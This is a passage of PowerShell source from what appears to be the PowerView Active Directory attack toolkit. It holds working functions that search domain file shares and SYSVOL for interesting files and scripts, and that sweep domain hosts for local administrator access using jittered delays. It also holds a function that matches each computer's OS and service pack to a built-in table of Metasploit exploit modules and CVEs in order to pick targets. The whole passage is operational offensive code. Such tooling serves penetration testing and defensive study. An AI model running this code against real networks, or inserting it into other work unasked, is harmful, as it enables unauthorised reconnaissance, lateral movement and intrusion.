            if ($OutFile -and (Test-Path -Path $OutFile)) { Remove-Item -Path $OutFile }
        }

        # if there's a set of terms specified to search for
        if ($TermList) {
            ForEach ($Term in Get-Content -Path $TermList) {
                if (($Term -ne $Null) -and ($Term.trim() -ne '')) {
                    $SearchTerms += $Term
                }
            }
        }

        # if we're hard-passed a set of shares
        if($ShareList) {
            ForEach ($Item in Get-Content -Path $ShareList) {
                if (($Item -ne $Null) -and ($Item.trim() -ne '')) {
                    # exclude any "[tab]- commants", i.e. the output from Invoke-ShareFinder
                    $Share = $Item.Split("`t")[0]
                    $Shares += $Share
                }
            }
        }
        else {
            # if we're using a host file list, read the targets in and add them to the target list
            if($ComputerFile) {
                $ComputerName = Get-Content -Path $ComputerFile
            }

            if(!$ComputerName) {

                if($Domain) {
                    $TargetDomains = @($Domain)
                }
                elseif($SearchForest) {
                    # get ALL the domains in the forest to search
                    $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
                }
                else {
                    # use the local domain
                    $TargetDomains = @( (Get-NetDomain).name )
                }

                if($SearchSYSVOL) {
                    ForEach ($Domain in $TargetDomains) {
                        $DCSearchPath = "\\$Domain\SYSVOL\"
                        Write-Verbose "[*] Adding share search path $DCSearchPath"
                        $Shares += $DCSearchPath
                    }
                    if(!$SearchTerms) {
                        # search for interesting scripts on SYSVOL
                        $SearchTerms = @('.vbs', '.bat', '.ps1')
                    }
                }
                else {
                    [array]$ComputerName = @()

                    ForEach ($Domain in $TargetDomains) {
                        Write-Verbose "[*] Querying domain $Domain for hosts"
                        $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController
                    }

                    # remove any null target hosts, uniquify the list and shuffle it
                    $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
                    if($($ComputerName.Count) -eq 0) {
                        throw "No hosts found!"
                    }
                }
            }
        }

        # script block that enumerates shares and files on a server
        $HostEnumBlock = {
            param($ComputerName, $Ping, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive)

            Write-Verbose "ComputerName: $ComputerName"
            Write-Verbose "ExcludedShares: $ExcludedShares"
            $SearchShares = @()

            if($ComputerName.StartsWith("\\")) {
                # if a share is passed as the server
                $SearchShares += $ComputerName
            }
            else {
                # if we're enumerating the shares on the target server first
                $Up = $True
                if($Ping) {
                    $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
                }
                if($Up) {
                    # get the shares for this host and display what we find
                    $Shares = Get-NetShare -ComputerName $ComputerName
                    ForEach ($Share in $Shares) {

                        $NetName = $Share.shi1_netname
                        $Path = '\\'+$ComputerName+'\'+$NetName

                        # make sure we get a real share name back
                        if (($NetName) -and ($NetName.trim() -ne '')) {

                            # skip this share if it's in the exclude list
                            if ($ExcludedShares -NotContains $NetName.ToUpper()) {
                                # check if the user has access to this path
                                try {
                                    $Null = [IO.Directory]::GetFiles($Path)
                                    $SearchShares += $Path
                                }
                                catch {
                                    Write-Verbose "[!] No access to $Path"
                                }
                            }
                        }
                    }
                }
            }

            ForEach($Share in $SearchShares) {
                $SearchArgs =  @{
                    'Path' = $Share
                    'SearchTerms' = $SearchTerms
                    'OfficeDocs' = $OfficeDocs
                    'FreshEXEs' = $FreshEXEs
                    'LastAccessTime' = $LastAccessTime
                    'LastWriteTime' = $LastWriteTime
                    'CreationTime' = $CreationTime
                    'ExcludeFolders' = $ExcludeFolders
                    'ExcludeHidden' = $ExcludeHidden
                    'CheckWriteAccess' = $CheckWriteAccess
                    'OutFile' = $OutFile
                    'UsePSDrive' = $UsePSDrive
                }

                Find-InterestingFile @SearchArgs
            }
        }
    }

    process {

        if($Threads) {
            Write-Verbose "Using threading with threads = $Threads"

            # if we're using threading, kick off the script block with Invoke-ThreadedFunction
            $ScriptParams = @{
                'Ping' = $(-not $NoPing)
                'ExcludedShares' = $ExcludedShares
                'SearchTerms' = $SearchTerms
                'ExcludeFolders' = $ExcludeFolders
                'OfficeDocs' = $OfficeDocs
                'ExcludeHidden' = $ExcludeHidden
                'FreshEXEs' = $FreshEXEs
                'CheckWriteAccess' = $CheckWriteAccess
                'OutFile' = $OutFile
                'UsePSDrive' = $UsePSDrive
            }

            # kick off the threaded script block + arguments 
            if($Shares) {
                # pass the shares as the hosts so the threaded function code doesn't have to be hacked up
                Invoke-ThreadedFunction -ComputerName $Shares -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
            }
            else {
                Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
            }
        }

        else {
            if($Shares){
                $ComputerName = $Shares
            }
            elseif(-not $NoPing -and ($ComputerName.count -gt 1)) {
                # ping all hosts in parallel
                $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
                $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
            }

            Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
            $Counter = 0

            $ComputerName | Where-Object {$_} | ForEach-Object {
                Write-Verbose "Computer: $_"
                $Counter = $Counter + 1

                # sleep for our semi-randomized interval
                Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)

                Write-Verbose "[*] Enumerating server $_ ($Counter of $($ComputerName.count))"

                Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $_, $False, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive                
            }
        }
    }
}


function Find-LocalAdminAccess {
<#
    .SYNOPSIS

        Finds machines on the local domain where the current user has
        local administrator access. Uses multithreading to
        speed up enumeration.

        Author: @harmj0y
        License: BSD 3-Clause

    .DESCRIPTION

        This function finds the local domain name for a host using Get-NetDomain,
        queries the domain for all active machines with Get-NetComputer, then for
        each server it checks if the current user has local administrator
        access using Invoke-CheckLocalAdminAccess.

        Idea stolen from the local_admin_search_enum post module in
        Metasploit written by:
            'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
            'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>'
            'Royce Davis "r3dy" <rdavis[at]accuvant.com>'

    .PARAMETER ComputerName

        Host array to enumerate, passable on the pipeline.

    .PARAMETER ComputerFile

        File of hostnames/IPs to search.

    .PARAMETER ComputerFilter

        Host filter name to query AD for, wildcards accepted.

    .PARAMETER ComputerADSpath

        The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
        Useful for OU queries.

    .PARAMETER NoPing

        Switch. Don't ping each host to ensure it's up before enumerating.

    .PARAMETER Delay

        Delay between enumerating hosts, defaults to 0

    .PARAMETER Jitter

        Jitter for the host delay, defaults to +/- 0.3

    .PARAMETER Domain

        Domain to query for machines, defaults to the current domain.
    
    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER SearchForest

        Switch. Search all domains in the forest for target users instead of just
        a single domain.

    .PARAMETER Threads

        The maximum concurrent threads to execute.

    .EXAMPLE

        PS C:\> Find-LocalAdminAccess

        Find machines on the local domain where the current user has local
        administrator access.

    .EXAMPLE

        PS C:\> Find-LocalAdminAccess -Threads 10

        Multi-threaded access hunting, replaces Find-LocalAdminAccessThreaded.

    .EXAMPLE

        PS C:\> Find-LocalAdminAccess -Domain testing

        Find machines on the 'testing' domain where the current user has
        local administrator access.

    .EXAMPLE

        PS C:\> Find-LocalAdminAccess -ComputerFile hosts.txt

        Find which machines in the host list the current user has local
        administrator access.

    .LINK

        https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb
        http://www.harmj0y.net/blog/penetesting/finding-local-admin-with-the-veil-framework/
#>

    [CmdletBinding()]
    param(
        [Parameter(Position=0,ValueFromPipeline=$True)]
        [Alias('Hosts')]
        [String[]]
        $ComputerName,

        [ValidateScript({Test-Path -Path $_ })]
        [Alias('HostList')]
        [String]
        $ComputerFile,

        [String]
        $ComputerFilter,

        [String]
        $ComputerADSpath,

        [Switch]
        $NoPing,

        [UInt32]
        $Delay = 0,

        [Double]
        $Jitter = .3,

        [String]
        $Domain,

        [String]
        $DomainController,

        [Switch]
        $SearchForest,

        [ValidateRange(1,100)] 
        [Int]
        $Threads
    )

    begin {
        if ($PSBoundParameters['Debug']) {
            $DebugPreference = 'Continue'
        }

        # random object for delay
        $RandNo = New-Object System.Random

        Write-Verbose "[*] Running Find-LocalAdminAccess with delay of $Delay"

        # if we're using a host list, read the targets in and add them to the target list
        if($ComputerFile) {
            $ComputerName = Get-Content -Path $ComputerFile
        }

        if(!$ComputerName) {
            [array]$ComputerName = @()

            if($Domain) {
                $TargetDomains = @($Domain)
            }
            elseif($SearchForest) {
                # get ALL the domains in the forest to search
                $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
            }
            else {
                # use the local domain
                $TargetDomains = @( (Get-NetDomain).name )
            }

            ForEach ($Domain in $TargetDomains) {
                Write-Verbose "[*] Querying domain $Domain for hosts"
                $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController
            }
        
            # remove any null target hosts, uniquify the list and shuffle it
            $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
            if($($ComputerName.Count) -eq 0) {
                throw "No hosts found!"
            }
        }

        # script block that enumerates a server
        $HostEnumBlock = {
            param($ComputerName, $Ping)

            $Up = $True
            if($Ping) {
                $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
            }
            if($Up) {
                # check if the current user has local admin access to this server
                $Access = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName
                if ($Access.IsAdmin) {
                    $ComputerName
                }
            }
        }

    }

    process {

        if($Threads) {
            Write-Verbose "Using threading with threads = $Threads"

            # if we're using threading, kick off the script block with Invoke-ThreadedFunction
            $ScriptParams = @{
                'Ping' = $(-not $NoPing)
            }

            # kick off the threaded script block + arguments 
            Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
        }

        else {
            if(-not $NoPing -and ($ComputerName.count -ne 1)) {
                # ping all hosts in parallel
                $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
                $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
            }

            Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
            $Counter = 0

            ForEach ($Computer in $ComputerName) {

                $Counter = $Counter + 1

                # sleep for our semi-randomized interval
                Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)

                Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
                Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False
            }
        }
    }
}


function Get-ExploitableSystem {
<#
    .Synopsis

        This module will query Active Directory for the hostname, OS version, and service pack level  
        for each computer account.  That information is then cross-referenced against a list of common
        Metasploit exploits that can be used during penetration testing.

    .DESCRIPTION

        This module will query Active Directory for the hostname, OS version, and service pack level  
        for each computer account.  That information is then cross-referenced against a list of common
        Metasploit exploits that can be used during penetration testing.  The script filters out disabled
        domain computers and provides the computer's last logon time to help determine if it's been 
        decommissioned.  Also, since the script uses data tables to output affected systems the results
        can be easily piped to other commands such as test-connection or a Export-Csv.

    .PARAMETER ComputerName

        Return computers with a specific name, wildcards accepted.

    .PARAMETER SPN

        Return computers with a specific service principal name, wildcards accepted.

    .PARAMETER OperatingSystem

        Return computers with a specific operating system, wildcards accepted.

    .PARAMETER ServicePack

        Return computers with a specific service pack, wildcards accepted.

    .PARAMETER Filter

        A customized ldap filter string to use, e.g. "(description=*admin*)"

    .PARAMETER Ping

        Switch. Ping each host to ensure it's up before enumerating.

    .PARAMETER Domain

        The domain to query for computers, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER ADSpath

        The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
        Useful for OU queries.

    .PARAMETER Unconstrained

        Switch. Return computer objects that have unconstrained delegation.

    .PARAMETER PageSize

        The PageSize to set for the LDAP searcher object.

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object of alternate credentials
        for connection to the target domain.

    .EXAMPLE
       
        The example below shows the standard command usage.  Disabled system are excluded by default, but
        the "LastLgon" column can be used to determine which systems are live.  Usually, if a system hasn't 
        logged on for two or more weeks it's been decommissioned.      
        PS C:\> Get-ExploitableSystem -DomainController 192.168.1.1 -Credential demo.com\user | Format-Table -AutoSize
        [*] Grabbing computer accounts from Active Directory...
        [*] Loading exploit list for critical missing patches...
        [*] Checking computers for vulnerable OS and SP levels...
        [+] Found 5 potentially vulnerable systems!
        ComputerName          OperatingSystem         ServicePack    LastLogon            MsfModule                                      CVE                      
        ------------          ---------------         -----------    ---------            ---------                                      ---                      
        ADS.demo.com          Windows Server 2003     Service Pack 2 4/8/2015 5:46:52 PM  exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....
        ADS.demo.com          Windows Server 2003     Service Pack 2 4/8/2015 5:46:52 PM  exploit/windows/smb/ms08_067_netapi            http://www.cvedetails....
        ADS.demo.com          Windows Server 2003     Service Pack 2 4/8/2015 5:46:52 PM  exploit/windows/smb/ms10_061_spoolss           http://www.cvedetails....
        LVA.demo.com          Windows Server 2003     Service Pack 2 4/8/2015 1:44:46 PM  exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....
        LVA.demo.com          Windows Server 2003     Service Pack 2 4/8/2015 1:44:46 PM  exploit/windows/smb/ms08_067_netapi            http://www.cvedetails....
        LVA.demo.com          Windows Server 2003     Service Pack 2 4/8/2015 1:44:46 PM  exploit/windows/smb/ms10_061_spoolss           http://www.cvedetails....
        assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms08_067_netapi            http://www.cvedetails....
        assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms10_061_spoolss           http://www.cvedetails....
        HVA.demo.com          Windows Server 2003     Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....
        HVA.demo.com          Windows Server 2003     Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms08_067_netapi            http://www.cvedetails....
        HVA.demo.com          Windows Server 2003     Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms10_061_spoolss           http://www.cvedetails....
        DB1.demo.com          Windows Server 2003     Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....
        DB1.demo.com          Windows Server 2003     Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms08_067_netapi            http://www.cvedetails....
        DB1.demo.com          Windows Server 2003     Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms10_061_spoolss           http://www.cvedetails....                     

    .EXAMPLE

        PS C:\> Get-ExploitableSystem | Export-Csv c:\temp\output.csv -NoTypeInformation

        How to write the output to a csv file.

    .EXAMPLE

        PS C:\> Get-ExploitableSystem -Domain testlab.local -Ping

        Return a set of live hosts from the testlab.local domain

     .LINK
       
       http://www.netspi.com
       https://github.com/nullbind/Powershellery/blob/master/Stable-ish/ADS/Get-ExploitableSystems.psm1
       
     .NOTES
       
       Author:  Scott Sutherland - 2015, NetSPI
                Modifications to integrate into PowerView by @harmj0y
       Version: Get-ExploitableSystem.psm1 v1.1
       Comments: The technique used to query LDAP was based on the "Get-AuditDSComputerAccount" 
       function found in Carols Perez's PoshSec-Mod project.  The general idea is based off of  
       Will Schroeder's "Invoke-FindVulnSystems" function from the PowerView toolkit.
#>
    [CmdletBinding()]
    Param(
        [Parameter(ValueFromPipeline=$True)]
        [Alias('HostName')]
        [String]
        $ComputerName = '*',

        [String]
        $SPN,

        [String]
        $OperatingSystem = '*',

        [String]
        $ServicePack = '*',

        [String]
        $Filter,

        [Switch]
        $Ping,

        [String]
        $Domain,

        [String]
        $DomainController,

        [String]
        $ADSpath,

        [Switch]
        $Unconstrained,

        [ValidateRange(1,10000)] 
        [Int]
        $PageSize = 200,

        [Management.Automation.PSCredential]
        $Credential
    )

    Write-Verbose "[*] Grabbing computer accounts from Active Directory..."

    # Create data table for hostnames, os, and service packs from LDAP
    $TableAdsComputers = New-Object System.Data.DataTable 
    $Null = $TableAdsComputers.Columns.Add('Hostname')       
    $Null = $TableAdsComputers.Columns.Add('OperatingSystem')
    $Null = $TableAdsComputers.Columns.Add('ServicePack')
    $Null = $TableAdsComputers.Columns.Add('LastLogon')

    Get-NetComputer -FullData @PSBoundParameters | ForEach-Object {

        $CurrentHost = $_.dnshostname
        $CurrentOs = $_.operatingsystem
        $CurrentSp = $_.operatingsystemservicepack
        $CurrentLast = $_.lastlogon
        $CurrentUac = $_.useraccountcontrol

        $CurrentUacBin = [convert]::ToString($_.useraccountcontrol,2)

        # Check the 2nd to last value to determine if its disabled
        $DisableOffset = $CurrentUacBin.Length - 2
        $CurrentDisabled = $CurrentUacBin.Substring($DisableOffset,1)

        # Add computer to list if it's enabled
        if ($CurrentDisabled  -eq 0) {
            # Add domain computer to data table
            $Null = $TableAdsComputers.Rows.Add($CurrentHost,$CurrentOS,$CurrentSP,$CurrentLast)
        }
    }

    # Status user        
    Write-Verbose "[*] Loading exploit list for critical missing patches..."

    # ----------------------------------------------------------------
    # Setup data table for list of msf exploits
    # ----------------------------------------------------------------

    # Create data table for list of patches levels with a MSF exploit
    $TableExploits = New-Object System.Data.DataTable 
    $Null = $TableExploits.Columns.Add('OperatingSystem') 
    $Null = $TableExploits.Columns.Add('ServicePack')
    $Null = $TableExploits.Columns.Add('MsfModule')  
    $Null = $TableExploits.Columns.Add('CVE')
    
    # Add exploits to data table
    $Null = $TableExploits.Rows.Add("Windows 7","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")  
    $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")  
    $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")  
    $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109")  
    $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")  
    $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")  
    $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")  
    $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109")  
    $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/")  
    $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")  
    $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")  
    $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")  
    $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109")  
    $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")  
    $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")  
    $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")  
    $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748")  
    $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/")  
    $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")  
    $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688")  
    $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691")  
    $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")  
    $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")  
    $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")  
    $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")  
    $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109")  
    $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983")  
    $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")  
    $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748")  
    $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")  
    $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688")  
    $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")  
    $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")  
    $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748")  
    $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")  
    $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")  
    $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")  
    $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")  
    $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")  
    $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")  
    $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")  
    $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/")  
    $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")  
    $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")  
    $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103")  
    $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")  
    $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103")  
    $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")  
    $Null = $TableExploits.Rows.Add("Windows Server 2008 R2","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")  
    $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103")  
    $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")  
    $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103")  
    $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")  
    $Null = $TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103")  
    $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")  
    $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")  
    $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/")  
    $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983")  
    $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")  
    $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")  
    $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")  
    $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688")  
    $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691")  
    $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")  
    $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")  
    $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")  
    $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")  
    $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")  
    $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")  
    $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")  
    $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")  

    # Status user        
    Write-Verbose "[*] Checking computers for vulnerable OS and SP levels..."

    # ----------------------------------------------------------------
    # Setup data table to store vulnerable systems
    # ----------------------------------------------------------------

    # Create data table to house vulnerable server list
    $TableVulnComputers = New-Object System.Data.DataTable 
    $Null = $TableVulnComputers.Columns.Add('ComputerName')
    $Null = $TableVulnComputers.Columns.Add('OperatingSystem')
    $Null = $TableVulnComputers.Columns.Add('ServicePack')
